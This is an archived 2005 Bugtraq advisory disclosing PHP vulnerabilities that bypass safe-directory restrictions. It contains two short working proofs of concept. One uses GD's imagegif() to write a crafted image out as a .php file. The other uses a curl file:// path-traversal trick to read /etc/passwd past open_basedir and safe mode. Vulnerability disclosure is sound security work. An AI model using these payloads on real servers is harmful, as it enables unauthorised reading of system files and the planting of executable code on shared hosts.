[40777] in bugtraq
PHP local safedir restriction bypass
daemon@ATHENA.MIT.EDU (slythers@gmail.com)
Mon Oct 17 18:05:19 2005
Date: 17 Oct 2005 14:49:55 -0000
Message-ID: <20051017144955.8387.qmail@securityfocus.com>
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From: slythers@gmail.com
To: bugtraq@securityfocus.com
There is a vulnerability (local safedir restriction bypass) identified within the GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()
in /ext/gd/gd.c line 1647
Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
POC:
with an image like http://81.57.125.106/~slythers/file.gif
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>
curl openbasedir and safemode bypass.
POC:
<?php
mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");
$file=curl_exec($ch);
echo $file;
?>
As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.
This is fixed in the cvs.
slythers@gmail.com
greets : david coallier <davidc@php.net>
